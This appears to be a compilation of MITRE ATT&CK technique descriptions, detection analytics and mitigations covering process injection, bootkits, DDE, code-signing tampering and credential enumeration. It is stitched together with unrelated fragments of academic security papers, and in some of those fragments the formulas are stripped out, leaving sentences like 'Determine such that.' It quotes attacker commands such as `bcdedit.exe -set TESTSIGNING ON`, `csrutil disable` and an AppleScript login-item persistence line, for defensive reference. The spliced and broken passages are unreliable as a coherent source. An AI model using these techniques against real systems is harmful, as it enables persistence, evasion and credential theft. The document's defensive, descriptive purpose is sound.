web-based credential phishing by analyzing traffic to suspicious URLs that mimic login portals and POST credential content.\n\n## Reference: ATT&CK DET0103 Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects\n**Detects.** - T1070.005 Network Share Connection Removal\n\n**Analytics.** - Analytic 0286: Detects network share disconnection attempts using command-line tools like `net use /delete`, PowerShell `Remove-SmbMapping`, and correlation with process lineage and SMB session teardown activity.\n\n## Reference: ATT&CK DET0104 Detect Modification of Authentication Processes Across Platforms\n**Detects.** - T1556 Modify Authentication Process\n\n**Analytics.** - Analytic 0287: Detects modification of LSASS and authentication DLLs, suspicious registry changes to password filter packages, and abnormal process access to lsass.exe.

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, Windows, macOS, ESXi\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Vulnerability Scanning**: Vulnerability scanning involves the automated or manual assessment of systems, applications, and networks to identify misconfigurations, unpatched software, or other security weaknesses.

Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity.\n\nRather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry.\n\nAdversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows, macOS, SaaS, IaaS\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\n\nCredentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, Windows, macOS, Identity Provider\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter. DDE execution can be invoked remotely via Remote Services such as Distributed Component Object Model (DCOM).\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events.

Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service `C API` or the high level `NSXPCConnection API` in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler. This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct Exploitation for Privilege Escalation.\n\n**Classification.** - Tactics: execution\n- Platforms: macOS\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution.

Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in. Login items can be added via a shared file list or Service Management Framework. Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call `SMLoginItemSetEnabled`.\n\nLogin items installed using the Service Management Framework leverage `launchd`, are not visible in the System Preferences, and can only be removed by the application that created them. Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder. Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables. Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items. Adversaries can use a command such as `tell application “System Events” to make login item at end with properties /path/to/executable`. This command adds the path of the malicious executable to the login item file list located in `~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm`. Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.\n\n## Reference: ATT&CK AN2283 Analytic 2283\n**ATT&CK AN2283 Analytic 2283 (full record).** Real-time monitoring identifies a Windows process making Industrial Control System (ICS) protocol connections to device subnets from a process not in the authorized ICS applications list, structurally valid traffic from an unauthorized source.

This technique bypasses some multi-factor authentication protocols since the session is already authenticated.\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active.

A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Linux, Windows\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.

Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image.

This mitigation focuses on leveraging secure boot mechanisms, hardware-rooted trust, and runtime integrity checks to prevent tampering during the boot sequence. It is designed to thwart adversaries attempting to modify system firmware, bootloaders, or critical OS components. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations.

In Windows, when files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named `Zone.Identifier` with a specific value known as the MOTW. Files that are tagged with MOTW are protected and cannot perform certain actions. For example, starting in MS Office 10, if a MS Office file has the MOTW, it will open in Protected View. Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file is not known/trusted, SmartScreen will prevent the execution and warn the user not to run it.\n\nAdversaries may abuse container files such as compressed/archive (.arj,.gzip) and/or disk image (.iso,.vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Container files downloaded from the Internet will be marked with MOTW but the files within may not inherit the MOTW after the container files are extracted and/or mounted. MOTW is a NTFS feature and many container files do not support NTFS alternative data streams. After a container file is extracted and/or mounted, the files contained within them may be treated as local files on disk and run without protections.\n\n## Reference: ATT&CK AN1335 Analytic 1335\n**ATT&CK AN1335 Analytic 1335 (full record).** Identifies abuse of odbcconf.exe to execute malicious DLLs using the REGSVR command flag.

The.NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of.NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as.NET code) may be loaded into an application domain as executable code.\n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how.NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define.NET runtime settings may be tampered with to instruct otherwise benign.NET applications to load a malicious assembly (identified by name) into the target process.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Windows\n- Sub-technique of: T1574 Hijack Execution Flow - Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\n**Detection strategies and analytics.** - **Detection Strategy for Hijack Execution Flow through the AppDomainManager on Windows.**\n - Detection focuses on unauthorized manipulation of.NET AppDomainManager behavior. Defenders may observe suspicious creation of new AppDomains within trusted processes, anomalous loading of assemblies via non-standard configuration files, or registry/environment variable changes redirecting AppDomainManager to malicious assemblies.

Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.\n\nThe NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.\n\nAdversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.\n\n**Classification.** - Tactics: defense-evasion, execution\n- Platforms: Android\n\n**Detection strategies and analytics.** - **Detection of Native API**\n - For Android, detect Native API from documented management, network, or vetting evidence; treat state queries as periodic observations rather than real-time events.

These malicious modifications can be used to make legitimate applications carry out adversary tasks when these applications are in use.\n\nThere are multiple ways an adversary can inject malicious code into applications. One method is by taking advantages of device vulnerabilities, the most well-known being Janus, an Android vulnerability that allows adversaries to add extra bytes to APK (application) and DEX (executable) files without affecting the file's signature. By being able to add arbitrary bytes to valid applications, attackers can seamlessly inject code into genuine executables without the user's knowledge.\n\nAdversaries may also rebuild applications to include malicious modifications. This can be achieved by decompiling the genuine application, merging it with the malicious code, and recompiling it.\n\nAdversaries may also take action to conceal modifications to application executables and bypass user consent. These actions include altering modifications to appear as an update or exploiting vulnerabilities that allow activities of the malicious application to run inside a system application.\n\n**Classification.** - Tactics: persistence\n- Platforms: Android\n\n**Mitigations.** - **Security Updates**: Install security updates in response to discovered vulnerabilities.\n- **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered. They may also bring improvements that block use of observed adversary techniques.\n\n**Detection strategies and analytics.** - **Detection of Compromise Application Executable**\n - For Android, detect Compromise Application Executable from documented management, network, or vetting evidence; treat state queries as periodic observations rather than real-time events.

A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in Revert Cloud Instance where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may Create Cloud Instance, mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS\n- Sub-technique of: T1578 Modify Cloud Compute Infrastructure - An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.

Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system.\n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS. Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, Modify Registry, rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory. Examples of commands that can modify the code signing policy of a system include `bcdedit.exe -set TESTSIGNING ON` on Windows and `csrutil disable` on macOS. Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying `g_CiOptions` to disable Driver Signature Enforcement, adversaries may conduct Exploitation for Privilege Escalation using a signed, but vulnerable driver.\n\n## Reference: ATT&CK AN1450 Analytic 1450\n**ATT&CK AN1450 Analytic 1450 (full record).** Remote knock sequence followed by PF/socketfilterfw rule update or a background process listening on a new port; then a successful TCP session.

Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation.\n\nFor example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces.\n\nAdversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, macOS, Office Suite, SaaS, Windows\n\n**Detection strategies and analytics.** - **Internal Spearphishing via Trusted Accounts**\n - Sequence of internal email sent from a recently compromised user account (preceded by abnormal logon or device activity), with attachments or links leading to execution or credential harvesting.

If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through Resource Hijacking, which can cost organizations substantial amounts of money over time depending on the processing power used.\n\n**Classification.** - Tactics: stealth\n- Platforms: IaaS\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats.

Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.\n\nAdversaries may also use cloud-native mechanisms to share victim data with adversary-controlled cloud accounts, such as creating anonymous file sharing links or, in Azure, a shared access signature (SAS) URI.\n\nIncidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.\n\n**Classification.** - Tactics: exfiltration\n- Platforms: IaaS, Office Suite, SaaS\n\n**Mitigations.** - **Data Loss Prevention**: Data Loss Prevention (DLP) involves implementing strategies and technologies to identify, categorize, monitor, and control the movement of sensitive data within an organization.

Clearly our ability to monitor applications and alert on anomalous behavior would improve our time to identify and mitigate an attack against our applications.\n\n!IBM Cost of Data Breach Report 2025\n\n> IBM Cost of a Data Breach Report 2025, Fig.4, pg.12\n\nThis logging standard would seek to define specific keywords which, when applied consistently across software, would allow groups to simply monitor for these events terms across all applications and respond quickly in the event of attack.\n\n**Assumptions.** - Observability/SRE groups must support the use of this standard and encourage developers to use it - Incident Response must either ingest this data OR provide a means by which other monitoring teams can send a notification of alert, preferably programmatically. - Architects must support, adopt, and contribute to this standard - Developers must embrace this standard and begin to implement (requires knowledge and intent to understand potential attacks and trap those errors in code).\n\n**Getting Started.** As a reminder, the goal of logging is to be able to alert on specific security events. Of course, the first step to logging these events is good error handling, if you're not trapping the events, you don't have an event to log.\n\n**Identifying Events.** In order to better understand security event logging a good high-level understanding of threat modeling would be helpful, even if it's a simple approach of:\n\n1. **What could go wrong?**\n\n- Orders: could someone order on behalf of another? - Authentication: could I log in as someone else?

Due to its broadcast nature, wireless communication is particularly susceptible to eavesdropping. Security and privacy systems have become critical for wireless providers and enterprise networks. The aim of this paper is to study practical secure coding schemes for wireless communication systems.\n\nFig. 1: Wiretap channel model\n\nShannon provided the first truly scientific treatment of secrecy in\n\n[1], where a secret key is considered to protect confidential messages. The ingenuity of his remarkable work lies not only in the method used therein but also in the incisive formulation that Shannon made of the secrecy problem based on information-theoretic concepts. Later, Wyner proposed an alternative approach to secure communication schemes in his seminal paper [2], where he introduced the so-called wiretap channel model. As shown in Fig. 1, the confidential communication via a discrete, memoryless main channel is eavesdropped upon by a wiretapper, who has access to the degraded channel output. Wyner demonstrated that secure communication is possible without sharing a secret key and determined the secrecy capacity for a wiretap channel. Construction of explicit and practical secure encoders and decoders whose performance is as good as promised by Wyner is still an unsolved problem in the general case, except for the binary erasure wiretap channel\n\n[ 3, 4, 5 ].\n\nWe note that channel coding and secrecy coding are closely related. Roughly speaking, the goal of channel coding is to send a message with sufficient redundancy so that it can be understood by the receiver; whereas the goal of secrecy coding is to provide sufficient randomness so that the message can not be understood by anyone else. In modern communication networks, error-correcting codes have traditionally been designed to ensure communication reliability. Various coding techniques have been thoroughly developed and tested for ensuring reliability of virtually all current single-user, point-to-point physical channels. However, only very limited work has considered ways of using error-correcting codes to also ensure security.

Suppose there are points given such that. Determine such that.\n\nIn this article, we explore several related hard problems with a view to expanding the theoretical foundations of the security of ECDLP as a hard problem. Our research is inspired by work of Rachel Shipsey in her thesis [1], relating the ECDLP to elliptic divisibility sequences (EDS). An elliptic divisibility sequence is a recurrence sequence satisfying the relation\n\nWe relate Shipsey’s work to the MOV and Frey-Rück attacks and explain their limitations from the EDS point of view. We also point to a specific avenue for attacking ECDLP by analysing the quadratic residuosity of elliptic divisibility sequences.\n\nThe study of elliptic divisibility sequences was introduced by Morgan Ward [2]. Let denote the -th division polynomial of an elliptic curve over the rationals. The sequence of the form for some fixed point is an elliptic divisibility sequence, and Ward showed that almost all elliptic divisibility sequences arise in this way. This relationship is the basis of our work here.\n\nThe general theory has been developed by Swart [3], Ayad [4], Silverman [5] [6], Everest, McLaren and Thomas Ward [7] and, more recently, generalised to higher rank elliptic nets by Stange [8] [9]. For an overview of research, see [10]. Sections 2 and 3 provide brief background on elliptic divisibility sequences and elliptic nets, more information about which can be found in [8] [9] [11].\n\nThe hard problems for elliptic divisibility sequences we consider are:\n\nProblem 2 (EDS Association)\n\nLet be an elliptic curve over a finite field. Suppose there are points given such that,, and. Determine for such that.\n\nProblem 3 (EDS Residue)\n\nLet be an elliptic curve over a finite field.

In this paper, we refer to an open ad hoc network composed of a set of nodes that are characterized by short membership duration since there is a large number of joining and leaving events. In order to achieve security in ad hoc networks, complementary to intrusion prevention techniques there is a need for reactive mechanisms, such as intrusion detection and response. Intrusion Detection is a mature arsenal for the defense of wired networks, but it is still in its infancy in the area of ad hoc networks. Nevertheless, there are some proposed IDS systems for ad hoc networks. Zhang and Lee [1] proposed the first (high-level) specific for ad hoc networks IDS approach. They proposed a distributed and cooperative anomalybased IDS, which provides an efficient guide for the design of IDS in wireless ad hoc networks. Huang and Lee [2] extended their previous work in a cluster-based IDS, in order to combat the resource constraints that MANET face. Liu et al. [3] proposed a completely distributed anomaly detection approach. They investigated the use of the MAC layer in order to profile normal behavior of mobile nodes and then applied cross-feature analysis on feature vectors constructed from the training data. Furthermore, effective intrusion detection should be combined with an efficient and secure intrusion response. Intrusion response in order to be efficient and secure should be based on security mechanisms such as group key management and agreement. However, most of the proposed key management protocols ([4], [5], [6]) for wired networks can not be applied in an infrastructure-less or resource sensitive environment such as ad hoc networks. In the Octopus protocol [4], four nodes compose a 22 −cube and the rest members of the network are “tentacles” that are connected to one of the central nodes. In a dynamic ad hoc network, it is not easy to maintain such a topology. […]\n\n## Reference: A Reconfigurable Programmable Logic Block for a Multi-Style Asynchronous FPGA resistant to Side-Channel Attacks\n**Introduction.** Side-channel attacks (SCA) have been put forward mainly by Paul Kocher et al. in 1996 in [22]. This first description of a SCA explained how the mere observation of the duration of computations could allow an attacker to retrieve the secret key. The attack was then improved and extended to other cryptosystems [ 38, 6, 12, 49 ].\n\nIn 1999 Kocher et al. described what they called “ dpa\n\n1 1\n\n1\n\nD ifferential\n\nP ower A nalysis. ” [32]. This new attack used the power consumption instead to the duration but yielded the same result: the retrieval of the secret key. The process of this latter attack is relatively simple: a large number of cryptographic operations are monitored and the cipher text stored together with the electric consumption. Then guesses were made of some parts of the secret key, which were confirmed or or not by a statistical processing the data. Other attacks against various cryptosystems were based on this method\n\n[ 5, 42, 18 ].\n\nCountermeasures soon appeared to protect systems based on a strong algebraic structure [ 2, 20, 47, 25 ]. At he protection of opposite symmetric cryptosystems often consisted in introducing some randomization either in the computing process or power consumption to prevent the statistical processing of the acquired data. However “counter-countermeasures” also appeared [19]. Some other protection schemes were designed\n\n[ 26, 10 ].\n\nAn interesting and apparently efficient countermeasure is the WDDL 2 2\n\n2\n\nW ave\n\nD ynamic D ifferential L ogic.\n\n[46] which duplicates each signal in the circuit so that whatever the value is, one of the lines will toggle. This countermeasure was enhanced by an improved routing of related signals\n\n[11], which reduces the differences between the power consumptions of a ’1’ and a ’0’.\n\nAsynchronous circuits, the history of which dates back to 1950, are nowadays increasingly considered as a viable alternative to classical synchronous designs.

The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\`. The encryption key can be found in a file named `Policy.vpol`, typically located in the same folder as the credentials.\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. `vaultcmd.exe` is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface.

Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process.\n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as `OpenThread`. At this point the process can be suspended then written to, realigned to the injected code, and resumed via `SuspendThread `, `VirtualAllocEx`, `WriteProcessMemory`, `SetThreadContext`, then `ResumeThread` respectively.\n\nThis is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.

APC injection is a method of executing arbitrary code in the address space of a separate live process.\n\nAPC injection is commonly performed by attaching malicious code to the APC Queue of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A handle to an existing victim process is first created with native Windows API calls such as `OpenThread`. At this point `QueueUserAPC` can be used to invoke a function (such as `LoadLibrayA` pointing to a malicious DLL).\n\nA variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. AtomBombing is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.\n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other Process Injection techniques such as Process Hollowing.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.\n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction).\n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

[…]\n\n## Reference: ATT&CK T1055.009 Proc Memory\n**ATT&CK T1055.009 Proc Memory (full record).** Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.\n\nProc memory injection involves enumerating the memory of a process via the /proc filesystem (`/proc/[pid]`) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within `/proc/[pid]/maps` can be overwritten using dd.\n\nOther techniques such as Dynamic Linker Hijacking may be used to populate a target process with more available gadgets. Similar to Process Hollowing, proc memory injection may target child processes (such as a backgrounded copy of sleep).\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Privileged Process Integrity**: Privileged Process Integrity focuses on defending highly privileged processes (e.g., system services, antivirus, or authentication processes) from tampering, injection, or compromise by adversaries. These processes often interact with critical components, making them prime targets for techniques like code injection, privilege escalation, and process manipulation. This mitigation can be implemented through the following measures:\n- **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques.

Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.\n\nAdversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API `WriteProcessMemory` function) then resume process execution with malicious arguments.\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.\n\nThis behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.\n\n## Reference: ATT&CK T1624 Event Triggered Execution\n**ATT&CK T1624 Event Triggered Execution (full record).** Adversaries may establish persistence using system mechanisms that trigger execution based on specific events.

